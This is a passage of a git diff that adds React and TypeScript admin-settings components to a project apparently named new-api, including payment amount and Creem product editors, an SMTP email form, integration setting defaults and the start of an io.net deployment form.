+  const { t } = useTranslation()
+  const [newAmount, setNewAmount] = useState('')
+
+  const amounts = useMemo(() => {
+    const parsed = safeJsonParseWithValidation<unknown[]>(value, {
+      fallback: [],
+      validator: isArray,
+      validatorMessage: t('Amount options must be a JSON array'),
+      context: 'amount options',
+    })
+
+    return parsed
+      .filter((item) => typeof item === 'number' || !isNaN(Number(item)))
+      .map(Number)
+      .sort((a, b) => a - b)
+  }, [value, t])
+
+  const handleAdd = () => {
+    const amount = parseFloat(newAmount)
+    if (isNaN(amount) || amount <= 0) {
+      return
+    }
+
+    try {
+      const updatedAmounts = [...amounts, amount]
+        .filter((v, i, a) => a.indexOf(v) === i) // Remove duplicates
+        .sort((a, b) => a - b)
+
+      onChange(JSON.stringify(updatedAmounts, null, 2))
+      setNewAmount('')
+    } catch (_error) {
+      // eslint-disable-next-line no-console
+      console.error('Failed to add amount:', _error)
+    }
+  }
+
+  const handleRemove = (amount: number) => {
+    try {
+      const updatedAmounts = amounts.filter((a) => a !== amount)
+      onChange(JSON.stringify(updatedAmounts, null, 2))
+    } catch (_error) {
+      // eslint-disable-next-line no-console
+      console.error('Failed to remove amount:', _error)
+    }
+  }
+
+  const handleKeyDown = (e: React.KeyboardEvent<HTMLInputElement>) => {
+    if (e.key === 'Enter') {
+      e.preventDefault()
+      handleAdd()
+    }
+  }
+
+  return (
+    <div className='space-y-4'>
+      <div>
+        <p className='text-muted-foreground mb-3 text-sm'>
+          {t('Preset recharge amounts displayed to users')}
+        </p>
+
+        {amounts.length === 0 ? (
+          <div className='text-muted-foreground rounded-lg border border-dashed p-6 text-center text-sm'>
+            {t(
+              'No amount options configured. Add amounts below to get started.'
+            )}
+          </div>
+        ) : (
+          <div className='flex flex-wrap gap-2'>
+            {amounts.map((amount) => (
+              <StatusBadge
+                key={amount}
+                variant='neutral'
+                className='text-base'
+                copyable={false}
+              >
+                <span className='font-mono'>${amount}</span>
+                <Button
+                  type='button'
+                  variant='ghost'
+                  size='icon-sm'
+                  onClick={(e) => {
+                    e.preventDefault()
+                    e.stopPropagation()
+                    handleRemove(amount)
+                  }}
+                  className='hover:bg-muted-foreground/20 size-auto rounded-full p-0.5'
+                  aria-label={t('Remove ${{amount}}', { amount })}
+                >
+                  <X className='h-3.5 w-3.5' />
+                </Button>
+              </StatusBadge>
+            ))}
+          </div>
+        )}
+      </div>
+
+      <div className='flex flex-col gap-2 sm:flex-row sm:items-end'>
+        <div className='flex-1'>
+          <Label htmlFor='new-amount' className='mb-2 block'>
+            {t('Add new amount')}
+          </Label>
+          <Input
+            id='new-amount'
+            type='number'
+            step='0.01'
+            min='0'
+            placeholder={t('e.g., 100')}
+            value={newAmount}
+            onChange={(e) => setNewAmount(e.target.value)}
+            onKeyDown={handleKeyDown}
+          />
+        </div>
+        <Button
+          type='button'
+          onClick={(e) => {
+            e.preventDefault()
+            e.stopPropagation()
+            handleAdd()
+          }}
+          disabled={!newAmount || parseFloat(newAmount) <= 0}
+          className='w-full sm:w-auto'
+        >
+          <Plus className='h-4 w-4 sm:mr-2' />
+          <span className='sm:inline'>{t('Add')}</span>
+        </Button>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/creem-product-dialog.tsx b/new-api/web/default/src/features/system-settings/integrations/creem-product-dialog.tsx
new file mode 100644
index 0000000..19d51be
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/creem-product-dialog.tsx
@@ -0,0 +1,241 @@
+import { useEffect } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import type { CreemProduct } from '@/features/wallet/types'
+
+const creemProductDialogSchema = z.object({
+  name: z.string().min(1, 'Product name is required'),
+  productId: z.string().min(1, 'Product ID is required'),
+  price: z.number().min(0.01, 'Price must be greater than 0'),
+  quota: z.number().min(1, 'Quota must be at least 1'),
+  currency: z.enum(['USD', 'EUR']),
+})
+
+type CreemProductDialogFormValues = z.infer<typeof creemProductDialogSchema>
+
+// Re-export for backwards compatibility
+export type CreemProductData = CreemProduct
+
+type CreemProductDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onSave: (data: CreemProduct) => void
+  editData?: CreemProduct | null
+}
+
+export function CreemProductDialog({
+  open,
+  onOpenChange,
+  onSave,
+  editData,
+}: CreemProductDialogProps) {
+  const { t } = useTranslation()
+  const isEditMode = !!editData
+
+  const form = useForm<CreemProductDialogFormValues>({
+    resolver: zodResolver(creemProductDialogSchema),
+    defaultValues: {
+      name: '',
+      productId: '',
+      price: 0,
+      quota: 0,
+      currency: 'USD',
+    },
+  })
+
+  useEffect(() => {
+    if (editData) {
+      form.reset(editData)
+    } else {
+      form.reset({
+        name: '',
+        productId: '',
+        price: 0,
+        quota: 0,
+        currency: 'USD',
+      })
+    }
+  }, [editData, form, open])
+
+  const handleSubmit = (values: CreemProductDialogFormValues) => {
+    const data: CreemProduct = {
+      name: values.name,
+      productId: values.productId,
+      price: values.price,
+      quota: values.quota,
+      currency: values.currency,
+    }
+    onSave(data)
+    form.reset()
+    onOpenChange(false)
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='sm:max-w-[500px]'>
+        <DialogHeader>
+          <DialogTitle>
+            {isEditMode ? t('Edit product') : t('Add product')}
+          </DialogTitle>
+          <DialogDescription>
+            {t('Configure a Creem product for user recharge options.')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <Form {...form}>
+          <form
+            onSubmit={form.handleSubmit(handleSubmit)}
+            className='space-y-4'
+          >
+            <FormField
+              control={form.control}
+              name='name'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Product Name')}</FormLabel>
+                  <FormControl>
+                    <Input placeholder={t('e.g., Basic Package')} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Display name shown to users.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='productId'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Product ID')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      placeholder={t('e.g., prod_xxx')}
+                      disabled={isEditMode}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Creem product ID from your Creem dashboard.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <div className='grid gap-4 sm:grid-cols-2'>
+              <FormField
+                control={form.control}
+                name='currency'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Currency')}</FormLabel>
+                    <Select onValueChange={field.onChange} value={field.value}>
+                      <FormControl>
+                        <SelectTrigger>
+                          <SelectValue placeholder={t('Select currency')} />
+                        </SelectTrigger>
+                      </FormControl>
+                      <SelectContent>
+                        <SelectItem value='USD'>USD ($)</SelectItem>
+                        <SelectItem value='EUR'>EUR (€)</SelectItem>
+                      </SelectContent>
+                    </Select>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='price'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Price')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        type='number'
+                        step='0.01'
+                        min={0.01}
+                        placeholder='10.00'
+                        {...field}
+                        onChange={(e) => field.onChange(e.target.valueAsNumber)}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <FormField
+              control={form.control}
+              name='quota'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Quota')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      type='number'
+                      min={1}
+                      placeholder={t('e.g., 500000')}
+                      {...field}
+                      onChange={(e) => field.onChange(e.target.valueAsNumber)}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Amount of quota to credit to user account.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <DialogFooter>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={() => onOpenChange(false)}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button type='submit'>
+                {isEditMode ? t('Update') : t('Add')}
+              </Button>
+            </DialogFooter>
+          </form>
+        </Form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/creem-products-visual-editor.tsx b/new-api/web/default/src/features/system-settings/integrations/creem-products-visual-editor.tsx
new file mode 100644
index 0000000..3859a55
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/creem-products-visual-editor.tsx
@@ -0,0 +1,304 @@
+import { useState, useMemo } from 'react'
+import { Pencil, Plus, Search, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import {
+  formatCreemPrice,
+  formatQuotaShort,
+} from '@/features/wallet/lib/format'
+import { safeJsonParseWithValidation } from '../utils/json-parser'
+import { isArray } from '../utils/json-validators'
+import {
+  CreemProductDialog,
+  type CreemProductData,
+} from './creem-product-dialog'
+
+type CreemProductsVisualEditorProps = {
+  value: string
+  onChange: (value: string) => void
+}
+
+export function CreemProductsVisualEditor({
+  value,
+  onChange,
+}: CreemProductsVisualEditorProps) {
+  const { t } = useTranslation()
+  const [searchText, setSearchText] = useState('')
+  const [dialogOpen, setDialogOpen] = useState(false)
+  const [editData, setEditData] = useState<CreemProductData | null>(null)
+
+  const products = useMemo(() => {
+    const parsed = safeJsonParseWithValidation<unknown[]>(value, {
+      fallback: [],
+      validator: isArray,
+      validatorMessage: t('Creem products must be a JSON array'),
+      context: 'creem products',
+    })
+
+    return parsed.filter(
+      (item): item is CreemProductData =>
+        typeof item === 'object' &&
+        item !== null &&
+        'name' in item &&
+        'productId' in item &&
+        'price' in item &&
+        'quota' in item &&
+        'currency' in item &&
+        typeof item.name === 'string' &&
+        typeof item.productId === 'string' &&
+        typeof item.price === 'number' &&
+        typeof item.quota === 'number' &&
+        (item.currency === 'USD' || item.currency === 'EUR')
+    )
+  }, [value, t])
+
+  const filteredProducts = useMemo(() => {
+    if (!searchText) return products
+    const lowerSearch = searchText.toLowerCase()
+    return products.filter(
+      (product) =>
+        product.name.toLowerCase().includes(lowerSearch) ||
+        product.productId.toLowerCase().includes(lowerSearch)
+    )
+  }, [products, searchText])
+
+  const handleSave = (data: CreemProductData) => {
+    const parsed = safeJsonParseWithValidation<unknown[]>(value, {
+      fallback: [],
+      validator: isArray,
+      silent: true,
+    })
+
+    const updatedArray = [...parsed]
+
+    if (editData) {
+      const index = updatedArray.findIndex(
+        (item): item is CreemProductData =>
+          typeof item === 'object' &&
+          item !== null &&
+          'productId' in item &&
+          item.productId === editData.productId
+      )
+      if (index !== -1) {
+        updatedArray[index] = data
+      } else {
+        updatedArray.push(data)
+      }
+    } else {
+      updatedArray.push(data)
+    }
+
+    onChange(JSON.stringify(updatedArray, null, 2))
+  }
+
+  const handleDelete = (product: CreemProductData) => {
+    const parsed = safeJsonParseWithValidation<unknown[]>(value, {
+      fallback: [],
+      validator: isArray,
+      silent: true,
+    })
+
+    const updatedArray = parsed.filter(
+      (item) =>
+        !(
+          typeof item === 'object' &&
+          item !== null &&
+          'productId' in item &&
+          item.productId === product.productId
+        )
+    )
+
+    onChange(JSON.stringify(updatedArray, null, 2))
+  }
+
+  const handleEdit = (product: CreemProductData) => {
+    setEditData(product)
+    setDialogOpen(true)
+  }
+
+  const handleAdd = () => {
+    setEditData(null)
+    setDialogOpen(true)
+  }
+
+  return (
+    <div className='space-y-4'>
+      <div className='flex flex-col gap-3 sm:flex-row sm:items-center'>
+        <div className='relative flex-1'>
+          <Search className='text-muted-foreground absolute top-2.5 left-2.5 h-4 w-4' />
+          <Input
+            placeholder={t('Search products...')}
+            value={searchText}
+            onChange={(e) => setSearchText(e.target.value)}
+            className='pl-9'
+          />
+        </div>
+        <Button
+          type='button'
+          onClick={(e) => {
+            e.preventDefault()
+            e.stopPropagation()
+            handleAdd()
+          }}
+          className='flex-1 sm:flex-none'
+        >
+          <Plus className='h-4 w-4 sm:mr-2' />
+          <span className='sm:inline'>{t('Add product')}</span>
+        </Button>
+      </div>
+
+      {filteredProducts.length === 0 ? (
+        <div className='text-muted-foreground rounded-lg border border-dashed p-8 text-center text-sm'>
+          {searchText
+            ? t('No products match your search')
+            : t('No products configured. Click "Add product" to get started.')}
+        </div>
+      ) : (
+        <div className='rounded-md border'>
+          {/* Desktop table view */}
+          <div className='hidden md:block'>
+            <Table>
+              <TableHeader>
+                <TableRow>
+                  <TableHead>{t('Name')}</TableHead>
+                  <TableHead>{t('Product ID')}</TableHead>
+                  <TableHead>{t('Price')}</TableHead>
+                  <TableHead>{t('Quota')}</TableHead>
+                  <TableHead className='text-right'>{t('Actions')}</TableHead>
+                </TableRow>
+              </TableHeader>
+              <TableBody>
+                {filteredProducts.map((product) => (
+                  <TableRow key={product.productId}>
+                    <TableCell className='font-medium'>
+                      {product.name}
+                    </TableCell>
+                    <TableCell>
+                      <code className='bg-muted rounded px-1.5 py-0.5 text-xs'>
+                        {product.productId}
+                      </code>
+                    </TableCell>
+                    <TableCell>
+                      <span className='font-mono text-sm'>
+                        {formatCreemPrice(product.price, product.currency)}
+                      </span>
+                    </TableCell>
+                    <TableCell>
+                      <span className='font-mono text-sm'>
+                        {formatQuotaShort(product.quota)}
+                      </span>
+                    </TableCell>
+                    <TableCell className='text-right'>
+                      <div className='flex justify-end gap-2'>
+                        <Button
+                          type='button'
+                          variant='ghost'
+                          size='sm'
+                          onClick={(e) => {
+                            e.preventDefault()
+                            e.stopPropagation()
+                            handleEdit(product)
+                          }}
+                        >
+                          <Pencil className='h-4 w-4' />
+                        </Button>
+                        <Button
+                          type='button'
+                          variant='ghost'
+                          size='sm'
+                          onClick={(e) => {
+                            e.preventDefault()
+                            e.stopPropagation()
+                            handleDelete(product)
+                          }}
+                        >
+                          <Trash2 className='h-4 w-4' />
+                        </Button>
+                      </div>
+                    </TableCell>
+                  </TableRow>
+                ))}
+              </TableBody>
+            </Table>
+          </div>
+
+          {/* Mobile card view */}
+          <div className='divide-y md:hidden'>
+            {filteredProducts.map((product) => (
+              <div key={product.productId} className='p-4'>
+                <div className='mb-3 flex items-start justify-between'>
+                  <div className='flex-1'>
+                    <div className='mb-1 font-medium'>{product.name}</div>
+                    <code className='bg-muted rounded px-1.5 py-0.5 text-xs'>
+                      {product.productId}
+                    </code>
+                  </div>
+                  <div className='flex gap-1'>
+                    <Button
+                      type='button'
+                      variant='ghost'
+                      size='sm'
+                      onClick={(e) => {
+                        e.preventDefault()
+                        e.stopPropagation()
+                        handleEdit(product)
+                      }}
+                    >
+                      <Pencil className='h-4 w-4' />
+                    </Button>
+                    <Button
+                      type='button'
+                      variant='ghost'
+                      size='sm'
+                      onClick={(e) => {
+                        e.preventDefault()
+                        e.stopPropagation()
+                        handleDelete(product)
+                      }}
+                    >
+                      <Trash2 className='h-4 w-4' />
+                    </Button>
+                  </div>
+                </div>
+                <div className='space-y-2 text-sm'>
+                  <div className='flex items-center gap-2'>
+                    <span className='text-muted-foreground min-w-16'>
+                      {t('Price')}:
+                    </span>
+                    <span className='font-mono'>
+                      {formatCreemPrice(product.price, product.currency)}
+                    </span>
+                  </div>
+                  <div className='flex items-center gap-2'>
+                    <span className='text-muted-foreground min-w-16'>
+                      {t('Quota')}:
+                    </span>
+                    <span className='font-mono'>
+                      {formatQuotaShort(product.quota)}
+                    </span>
+                  </div>
+                </div>
+              </div>
+            ))}
+          </div>
+        </div>
+      )}
+
+      <CreemProductDialog
+        open={dialogOpen}
+        onOpenChange={setDialogOpen}
+        onSave={handleSave}
+        editData={editData}
+      />
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/email-settings-section.tsx b/new-api/web/default/src/features/system-settings/integrations/email-settings-section.tsx
new file mode 100644
index 0000000..ae09f46
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/email-settings-section.tsx
@@ -0,0 +1,300 @@
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { SettingsSection } from '../components/settings-section'
+import { useResetForm } from '../hooks/use-reset-form'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const createEmailSchema = (t: (key: string) => string) =>
+  z.object({
+    SMTPServer: z.string(),
+    SMTPPort: z.string().refine((value) => {
+      const trimmed = value.trim()
+      if (!trimmed) return true
+      return /^\d+$/.test(trimmed)
+    }, t('Port must be a positive integer')),
+    SMTPAccount: z.string(),
+    SMTPFrom: z.string().refine((value) => {
+      const trimmed = value.trim()
+      if (!trimmed) return true
+      return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(trimmed)
+    }, t('Enter a valid email or leave blank')),
+    SMTPToken: z.string(),
+    SMTPSSLEnabled: z.boolean(),
+    SMTPForceAuthLogin: z.boolean(),
+  })
+
+type EmailFormValues = z.infer<ReturnType<typeof createEmailSchema>>
+
+type EmailSettingsSectionProps = {
+  defaultValues: EmailFormValues
+}
+
+export function EmailSettingsSection({
+  defaultValues,
+}: EmailSettingsSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const emailSchema = createEmailSchema(t)
+
+  const form = useForm<EmailFormValues>({
+    resolver: zodResolver(emailSchema),
+    defaultValues,
+  })
+
+  useResetForm(form, defaultValues)
+
+  const onSubmit = async (values: EmailFormValues) => {
+    const sanitized = {
+      SMTPServer: values.SMTPServer.trim(),
+      SMTPPort: values.SMTPPort.trim(),
+      SMTPAccount: values.SMTPAccount.trim(),
+      SMTPFrom: values.SMTPFrom.trim(),
+      SMTPToken: values.SMTPToken.trim(),
+      SMTPSSLEnabled: values.SMTPSSLEnabled,
+      SMTPForceAuthLogin: values.SMTPForceAuthLogin,
+    }
+
+    const initial = {
+      SMTPServer: defaultValues.SMTPServer.trim(),
+      SMTPPort: defaultValues.SMTPPort.trim(),
+      SMTPAccount: defaultValues.SMTPAccount.trim(),
+      SMTPFrom: defaultValues.SMTPFrom.trim(),
+      SMTPToken: defaultValues.SMTPToken.trim(),
+      SMTPSSLEnabled: defaultValues.SMTPSSLEnabled,
+      SMTPForceAuthLogin: defaultValues.SMTPForceAuthLogin,
+    }
+
+    const updates: Array<{ key: string; value: string | boolean }> = []
+
+    if (sanitized.SMTPServer !== initial.SMTPServer) {
+      updates.push({ key: 'SMTPServer', value: sanitized.SMTPServer })
+    }
+
+    if (sanitized.SMTPPort !== initial.SMTPPort) {
+      updates.push({ key: 'SMTPPort', value: sanitized.SMTPPort })
+    }
+
+    if (sanitized.SMTPAccount !== initial.SMTPAccount) {
+      updates.push({ key: 'SMTPAccount', value: sanitized.SMTPAccount })
+    }
+
+    if (sanitized.SMTPFrom !== initial.SMTPFrom) {
+      updates.push({ key: 'SMTPFrom', value: sanitized.SMTPFrom })
+    }
+
+    if (sanitized.SMTPToken && sanitized.SMTPToken !== initial.SMTPToken) {
+      updates.push({ key: 'SMTPToken', value: sanitized.SMTPToken })
+    }
+
+    if (sanitized.SMTPSSLEnabled !== initial.SMTPSSLEnabled) {
+      updates.push({
+        key: 'SMTPSSLEnabled',
+        value: sanitized.SMTPSSLEnabled,
+      })
+    }
+
+    if (sanitized.SMTPForceAuthLogin !== initial.SMTPForceAuthLogin) {
+      updates.push({
+        key: 'SMTPForceAuthLogin',
+        value: sanitized.SMTPForceAuthLogin,
+      })
+    }
+
+    for (const update of updates) {
+      await updateOption.mutateAsync(update)
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('SMTP Email')}
+      description={t('Configure outgoing email server for notifications')}
+    >
+      <Form {...form}>
+        <form
+          onSubmit={form.handleSubmit(onSubmit)}
+          className='space-y-6'
+          autoComplete='off'
+        >
+          <FormField
+            control={form.control}
+            name='SMTPServer'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('SMTP Host')}</FormLabel>
+                <FormControl>
+                  <Input
+                    autoComplete='off'
+                    placeholder={t('smtp.example.com')}
+                    {...field}
+                    onChange={(event) => field.onChange(event.target.value)}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t('Hostname or IP of your SMTP provider')}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <div className='grid gap-6 md:grid-cols-2'>
+            <FormField
+              control={form.control}
+              name='SMTPPort'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Port')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      autoComplete='off'
+                      type='number'
+                      placeholder='587'
+                      {...field}
+                      onChange={(event) => field.onChange(event.target.value)}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Common ports include 25, 465, and 587')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='SMTPSSLEnabled'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Enable SSL/TLS')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t('Use secure connection when sending emails')}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='SMTPForceAuthLogin'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Force AUTH LOGIN')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t('Force SMTP authentication using AUTH LOGIN method')}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+          </div>
+
+          <FormField
+            control={form.control}
+            name='SMTPAccount'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Username')}</FormLabel>
+                <FormControl>
+                  <Input
+                    autoComplete='off'
+                    placeholder={t('noreply@example.com')}
+                    {...field}
+                    onChange={(event) => field.onChange(event.target.value)}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t('Account used when authenticating with the SMTP server')}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='SMTPFrom'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('From Address')}</FormLabel>
+                <FormControl>
+                  <Input
+                    autoComplete='off'
+                    placeholder={t('New API &lt;noreply@example.com&gt;')}
+                    {...field}
+                    onChange={(event) => field.onChange(event.target.value)}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t('Display name and email used in outgoing messages')}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <FormField
+            control={form.control}
+            name='SMTPToken'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Password / Access Token')}</FormLabel>
+                <FormControl>
+                  <Input
+                    autoComplete='off'
+                    type='password'
+                    placeholder={t('Enter new token to update')}
+                    {...field}
+                    onChange={(event) => field.onChange(event.target.value)}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t('Leave blank to keep the existing credential')}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save SMTP settings')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/index.tsx b/new-api/web/default/src/features/system-settings/integrations/index.tsx
new file mode 100644
index 0000000..33e1906
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/index.tsx
@@ -0,0 +1,88 @@
+import { SettingsPage } from '../components/settings-page'
+import type { IntegrationSettings as IntegrationSettingsType } from '../types'
+import {
+  INTEGRATIONS_DEFAULT_SECTION,
+  getIntegrationsSectionContent,
+} from './section-registry.tsx'
+
+const defaultIntegrationSettings: IntegrationSettingsType = {
+  SMTPServer: '',
+  SMTPPort: '',
+  SMTPAccount: '',
+  SMTPFrom: '',
+  SMTPToken: '',
+  SMTPSSLEnabled: false,
+  SMTPForceAuthLogin: false,
+  WorkerUrl: '',
+  WorkerValidKey: '',
+  WorkerAllowHttpImageRequestEnabled: false,
+  ChannelDisableThreshold: '',
+  QuotaRemindThreshold: '',
+  AutomaticDisableChannelEnabled: false,
+  AutomaticEnableChannelEnabled: false,
+  AutomaticDisableKeywords: '',
+  AutomaticDisableStatusCodes: '401',
+  AutomaticRetryStatusCodes:
+    '100-199,300-399,401-407,409-499,500-503,505-523,525-599',
+  'monitor_setting.auto_test_channel_enabled': false,
+  'monitor_setting.auto_test_channel_minutes': 10,
+  'model_deployment.ionet.api_key': '',
+  'model_deployment.ionet.enabled': false,
+  PayAddress: '',
+  EpayId: '',
+  EpayKey: '',
+  Price: 7.3,
+  MinTopUp: 1,
+  CustomCallbackAddress: '',
+  PayMethods: '',
+  'payment_setting.amount_options': '',
+  'payment_setting.amount_discount': '',
+  StripeApiSecret: '',
+  StripeWebhookSecret: '',
+  StripePriceId: '',
+  StripeUnitPrice: 8.0,
+  StripeMinTopUp: 1,
+  StripePromotionCodesEnabled: false,
+  CreemApiKey: '',
+  CreemWebhookSecret: '',
+  CreemTestMode: false,
+  CreemProducts: '[]',
+  WaffoEnabled: false,
+  WaffoApiKey: '',
+  WaffoPrivateKey: '',
+  WaffoPublicCert: '',
+  WaffoSandboxPublicCert: '',
+  WaffoSandboxApiKey: '',
+  WaffoSandboxPrivateKey: '',
+  WaffoSandbox: false,
+  WaffoMerchantId: '',
+  WaffoCurrency: 'USD',
+  WaffoUnitPrice: 1,
+  WaffoMinTopUp: 1,
+  WaffoNotifyUrl: '',
+  WaffoReturnUrl: '',
+  WaffoPayMethods: '[]',
+  WaffoPancakeEnabled: false,
+  WaffoPancakeSandbox: false,
+  WaffoPancakeMerchantID: '',
+  WaffoPancakePrivateKey: '',
+  WaffoPancakeWebhookPublicKey: '',
+  WaffoPancakeWebhookTestKey: '',
+  WaffoPancakeStoreID: '',
+  WaffoPancakeProductID: '',
+  WaffoPancakeReturnURL: '',
+  WaffoPancakeCurrency: 'USD',
+  WaffoPancakeUnitPrice: 1,
+  WaffoPancakeMinTopUp: 1,
+}
+
+export function IntegrationSettings() {
+  return (
+    <SettingsPage
+      routePath='/_authenticated/system-settings/integrations/$section'
+      defaultSettings={defaultIntegrationSettings}
+      defaultSection={INTEGRATIONS_DEFAULT_SECTION}
+      getSectionContent={getIntegrationsSectionContent}
+    />
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/ionet-deployment-settings-section.tsx b/new-api/web/default/src/features/system-settings/integrations/ionet-deployment-settings-section.tsx
new file mode 100644
index 0000000..7808a37
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/ionet-deployment-settings-section.tsx
@@ -0,0 +1,251 @@
+import { useState } from 'react'
+import { z } from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { CheckCircle2, Loader2, XCircle } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Alert, AlertDescription, AlertTitle } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { testDeploymentConnectionWithKey } from '@/features/models/api'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const schema = z.object({
+  enabled: z.boolean(),
+  apiKey: z.string().optional(),
+})
+
+// NOTE: react-hook-form resolver uses the schema input type
+type Values = z.input<typeof schema>
+
+export function IoNetDeploymentSettingsSection({
+  defaultValues,
+}: {
+  defaultValues: {
+    enabled: boolean
+    apiKey: string
+  }
+}) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const form = useForm<Values>({
+    resolver: zodResolver(schema),
+    defaultValues: {
+      enabled: defaultValues.enabled,
+      apiKey: defaultValues.apiKey ?? '',
+    },
+  })
+
+  const { isDirty, isSubmitting } = form.formState
+  const enabled = form.watch('enabled')
+
+  const [testState, setTestState] = useState<{
+    loading: boolean
+    ok: boolean | null
+    error: string | null
+  }>({ loading: false, ok: null, error: null })
+
+  async function onSubmit(values: Values) {
+    const updates: Array<{ key: string; value: string }> = []
+
+    if (values.enabled !== defaultValues.enabled) {
+      updates.push({
+        key: 'model_deployment.ionet.enabled',
